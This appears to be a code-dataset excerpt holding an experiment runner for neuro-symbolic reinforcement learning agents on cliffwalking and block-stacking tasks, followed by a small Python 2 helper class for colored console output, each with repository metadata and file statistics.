] | null | null | null |
main.py
|
poojasrinivass/NLRL
|
aa170a0730752af491cf4cc0a0f0fb66c35ebb3d
|
[
"MIT"
] | null | null | null |
from core.setup import *
from collections import OrderedDict
import argparse
import json
def generalized_test(task, name, algo):
os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"
if task == "cliffwalking":
env = CliffWalking
elif task == "unstack":
env = Unstack
elif task == "stack":
env = Stack
elif task == "on":
env = On
elif task == "windycliffwalking":
env = WindyCliffWalking
else:
raise ValueError()
import tensorflow as tf
summary = OrderedDict()
if algo=="DILP":
starter = start_DILP
elif algo=="NN":
starter = start_NN
elif algo=="Random":
starter = start_Random
variations = env.all_variations
for variation in [""]+list(variations):
tf.reset_default_graph()
print("==========="+variation+"==============")
result = starter(task, name, "evaluate", variation)
pprint(result)
variation = "train" if not variation else variation
summary[variation] = {"mean":round(result["mean"], 3), "std": round(result["std"], 3),
"distribution":result["distribution"]}
for k,v in summary.items():
print(k+": "+str(v["mean"])+"+-"+str(v["std"]))
with open("model/"+name+"/result.json", "wr") as f:
json.dump(summary, f)
def start_Random(task, name, mode, variation=None):
import os
os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
if task == "cliffwalking":
man, env = setup_cliffwalking(variation)
agent = RandomAgent(env.action_n)
discounting = 1.0
critic = None
learner = ReinforceLearner(agent, env, 0.1, critic=critic, discounting=discounting,
batched=True, steps=12000, name=name)
elif task == "windycliffwalking":
man, env = setup_windycliffwalking(variation)
agent = RandomAgent(env.action_n)
discounting = 1.0
critic = None
learner = ReinforceLearner(agent, env, 0.1, critic=critic, discounting=discounting,
batched=True, steps=12000, name=name)
elif task == "unstack":
man, env = setup_unstack(variation)
agent = RandomAgent(env.action_n)
critic = None
learner = ReinforceLearner(agent, env, 0.05, critic=critic,
batched=True, steps=50000, name=name)
elif task == "stack":
man, env = setup_stack(variation)
agent = RandomAgent(env.action_n)
critic = None
learner = ReinforceLearner(agent, env, 0.05, critic=critic,
batched=True, steps=50000, name=name)
elif task == "on":
man, env = setup_on(variation)
agent = RandomAgent(env.action_n)
critic = None
learner = ReinforceLearner(agent, env, 0.05, critic=critic,
batched=True, steps=50000, name=name)
else:
raise ValueError()
if mode == "train":
return learner.train()
elif mode == "evaluate":
return learner.evaluate()
else:
raise ValueError()
#@ray.remote
def start_DILP(task, name, mode, variation=None):
import os
os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
if task == "cliffwalking":
man, env = setup_cliffwalking(variation)
agent = RLDILP(man, env, state_encoding="atoms")
discounting = 1.0
if variation:
critic = None
else:
critic = NeuralCritic([20], env.state_dim, 1.0, learning_rate=0.001, state2vector=env.state2vector,
involve_steps=True)
learner = ReinforceLearner(agent, env, 0.05, critic=critic, discounting=discounting,
batched=True, steps=1, name=name)
elif task == "windycliffwalking":
man, env = setup_windycliffwalking(variation)
agent = RLDILP(man, env, state_encoding="atoms")
discounting = 1.0
if variation:
critic = None
else:
critic = NeuralCritic([20], env.state_dim, 1.0, learning_rate=0.001, state2vector=env.state2vector,
involve_steps=True)
learner = ReinforceLearner(agent, env, 0.05, critic=critic, discounting=discounting,
batched=True, steps=50000, name=name)
elif task == "unstack":
man, env = setup_unstack(variation)
agent = RLDILP(man, env, state_encoding="atoms")
if variation:
critic = None
else:
critic = NeuralCritic([20], env.state_dim, 1.0, learning_rate=0.001,
state2vector=env.state2vector, involve_steps=True)
learner = ReinforceLearner(agent, env, 0.05, critic=critic,
batched=True, steps=30000, name=name)
elif task == "stack":
man, env = setup_stack(variation)
agent = RLDILP(man, env, state_encoding="atoms")
if variation:
critic = None
else:
critic = NeuralCritic([20], env.state_dim, 1.0, learning_rate=0.001,
state2vector=env.state2vector, involve_steps=True)
learner = ReinforceLearner(agent, env, 0.05, critic=critic,
batched=True, steps=30000, name=name)
elif task == "on":
man, env = setup_on(variation)
agent = RLDILP(man, env, state_encoding="atoms")
if variation:
critic = None
else:
critic = NeuralCritic([20], env.state_dim, 1.0, learning_rate=0.001,
state2vector=env.state2vector, involve_steps=True)
learner = ReinforceLearner(agent, env, 0.05, critic=critic,
batched=True, steps=30000, name=name)
else:
raise ValueError()
if mode == "train":
return learner.train()[-1]
elif mode == "evaluate":
return learner.evaluate()
else:
raise ValueError()
def start_NN(task, name, mode, variation=None):
if task == "cliffwalking":
man, env = setup_cliffwalking(variation)
agent = NeuralAgent([20,10], env.action_n, env.state_dim)
if variation:
critic = None
else:
critic = NeuralCritic([20], env.state_dim, 1.0, learning_rate=0.001, state2vector=env.state2vector)
learner = ReinforceLearner(agent, env, 0.002, critic=critic,
steps=1, name=name)
elif task == "windycliffwalking":
man, env = setup_windycliffwalking(variation)
agent = NeuralAgent([20,10], env.action_n, env.state_dim)
if variation:
critic = None
else:
critic = NeuralCritic([20], env.state_dim, 1.0, learning_rate=0.001, state2vector=env.state2vector)
learner = ReinforceLearner(agent, env, 0.002, critic=critic,
steps=120000, name=name)
elif task == "stack":
man, env = setup_stack(variation, all_block=True)
agent = NeuralAgent([20,10], env.action_n, env.state_dim)
if variation:
critic = None
else:
# critic = NeuralCritic([20], env.state_dim, 1.0, learning_rate=0.01, state2vector=env.state2vector)
# critic = None
#critic = TableCritic(discounting=1.0, learning_rate=0.01, involve_steps=True)
critic = NeuralCritic([20], env.state_dim, 1.0, learning_rate=0.001, state2vector=env.state2vector)
learner = ReinforceLearner(agent, env, 0.002, critic=critic,
steps=120000, name=name)
elif task == "unstack":
man, env = setup_unstack(variation, all_block=True)
agent = NeuralAgent([20,10], env.action_n, env.state_dim)
#critic = None
# critic = NeuralCritic([20], env.state_dim, 1.0, learning_rate=0.01, state2vector=env.state2vector)
if variation:
critic = None
else:
# critic = None
#critic = TableCritic(discounting=1.0, learning_rate=0.01, involve_steps=True)
critic = NeuralCritic([20], env.state_dim, 1.0, learning_rate=0.001, state2vector=env.state2vector)
learner = ReinforceLearner(agent, env, 0.002, critic=critic,
steps=120000, name=name)
#learner = PPOLearner(agent, env, 0.5, critic=critic, steps=50000, name=name)
elif task == "on":
man, env = setup_on(variation, all_block=True)
agent = NeuralAgent([20,10], env.action_n, env.state_dim)
# critic = TableCritic(1.0)
if variation:
critic = None
else:
# critic = None
#critic = TableCritic(discounting=1.0, learning_rate=0.01, involve_steps=True)
critic = NeuralCritic([20], env.state_dim, 1.0, learning_rate=0.001, state2vector=env.state2vector)
# critic = NeuralCritic([20], env.state_dim, 1.0, learning_rate=0.01, state2vector=env.state2vector)
learner = ReinforceLearner(agent, env, 0.002, critic=critic,
steps=120000, name=name)
if mode == "train":
return learner.train()[-1]
elif mode == "evaluate":
return learner.evaluate()
else:
raise ValueError()
from pprint import pprint
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('--mode')
parser.add_argument('--task')
parser.add_argument('--algo')
parser.add_argument('--name', default=None)
args = parser.parse_args()
if args.mode=="generalize":
generalized_test(args.task, args.name, args.algo)
elif args.mode=="train":
try:
if args.algo == "DILP":
starter = start_DILP
elif args.algo == "Random":
starter = start_Random
elif args.algo == "NN":
starter = start_NN
else:
raise ValueError()
pprint(starter(args.task, args.name, args.mode, variation=True))
except Exception as e:
print(e.message)
raise e
finally:
generalized_test(args.task, args.name, args.algo)
| 42
| 112
| 0.57794
| 1,135
| 10,290
| 5.14185
| 0.115419
| 0.031528
| 0.033927
| 0.038382
| 0.810315
| 0.786155
| 0.776559
| 0.776559
| 0.761995
| 0.745374
| 0
| 0.042669
| 0.305345
| 10,290
| 244
| 113
| 42.172131
| 0.773783
| 0.067638
| 0
| 0.744395
| 0
| 0
| 0.05
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.017937
| false
| 0
| 0.035874
| 0
| 0.080717
| 0.026906
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b71a5d2e9df8c0c34ce28041ebdd5aee021d9559
| 1,106
|
py
|
Python
|
fancyprinter.py
|
wojciechAdaszynski/EnergyForecaster
|
569d2ee3cc706ec3b5d3dfc71b6829c8288d3933
|
[
"MIT"
] | null | null | null |
fancyprinter.py
|
wojciechAdaszynski/EnergyForecaster
|
569d2ee3cc706ec3b5d3dfc71b6829c8288d3933
|
[
"MIT"
] | null | null | null |
fancyprinter.py
|
wojciechAdaszynski/EnergyForecaster
|
569d2ee3cc706ec3b5d3dfc71b6829c8288d3933
|
[
"MIT"
] | null | null | null |
class FancyPrinter:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
@staticmethod
def print_warning(message):
print FancyPrinter.WARNING + message + FancyPrinter.ENDC
@staticmethod
def print_blue(message):
print FancyPrinter.OKBLUE + message + FancyPrinter.ENDC
@staticmethod
def print_green(message):
print FancyPrinter.OKGREEN + message + FancyPrinter.ENDC
@staticmethod
def print_error(message):
print FancyPrinter.FAIL + message + FancyPrinter.ENDC
@staticmethod
def get_warning(message):
print FancyPrinter.WARNING + message + FancyPrinter.ENDC
@staticmethod
def get_blue(message):
print FancyPrinter.OKBLUE + message + FancyPrinter.ENDC
@staticmethod
def get_green(message):
print FancyPrinter.OKGREEN + message + FancyPrinter.ENDC
@staticmethod
def get_error(message):
print FancyPrinter.FAIL + message + FancyPrinter.ENDC
| 26.333333
| 64
| 0.664557
| 114
| 1,106
| 6.377193
| 0.236842
| 0.165062
| 0.264099
| 0.337001
| 0.822558
| 0.822558
| 0.764787
| 0.764787
| 0.610729
| 0.610729
| 0
| 0.044048
| 0.240506
| 1,106
| 41
| 65
| 26.97561
| 0.821429
| 0
| 0
| 0.484848
| 0
| 0
| 0.055154
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.363636
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.